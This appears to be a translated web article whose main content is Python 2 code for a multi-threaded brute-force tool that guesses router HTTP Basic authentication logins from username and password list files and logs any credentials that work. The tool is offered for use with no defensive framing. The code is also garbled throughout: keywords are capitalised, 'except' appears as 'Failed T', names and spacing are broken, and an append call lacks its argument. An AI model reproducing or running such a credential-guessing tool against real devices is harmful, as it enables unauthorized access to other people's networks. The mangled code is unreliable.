This article mainly introduces the python code sharing for implementing the multi-thread brute force cracking login vro function. This article provides the implementation code directly. if you need the code, refer to the "user.txt passwd.txt" file in the directory at runtime. Otherwise, an error is reported. No exception handling is added to the program. Code is frustrating .....
The code is as follows:
# Coding: UTF-8-
Import base64
Import urllib2
Import Queue
Import threading, re, sys
Queue = Queue. Queue ()
Class Rout_thread (threading. Thread ):
Def _ init _ (self, queue, passwd ):
Threading. Thread. _ init _ (self)
Self. queue = queue
Self. passwordlist = passwd
Def run (self ):
Self. user = queue. get ()
For self. passwd in self. passwordlist:
Request = urllib2.Request ("http: //" + target)
Psw_base64 = "Basic" + base64.b64encode (self. user + ":" + self. passwd)
Request. add_header ('authorization', psw_base64)
Try:
Response = urllib2.urlopen (request)
Print "[+] Correct! Username: % s, password: % s "% (self. user, self. passwd)
Fp3 = open('log.txt ', 'A ')
Fp3.write (self. user + '|' + self. passwd + '\ r \ n ')
Fp3.close ()
Failed T urllib2.HTTPError:
Print "[-] password: % s Error! "% (Self. passwd)
If _ name _ = '_ main __':
Print '''
######################################## ###############
##
# Routing brute force tool #
##
# By: well #
##
######################################## ###############
'''
Passwordlist = []
Line = 20
Threads = []
Global target
Target = raw_input ("input ip :")
Fp = open ("user.txt ")
Fp2 = open ("passwd.txt ")
For user in fp. readlines ():
Queue. put (user. split ('\ n') [0])
For passwd in fp2.readlines ():
Passwordlist. append (passwd. split ('\ n') [0])
# Print passwordlist
Fp. close ()
Fp2.close ()
For I in range (line ):
A = Rout_thread (queue, passwordlist)
A. start ()
Threads. append ()
For j in threads:
J. join ()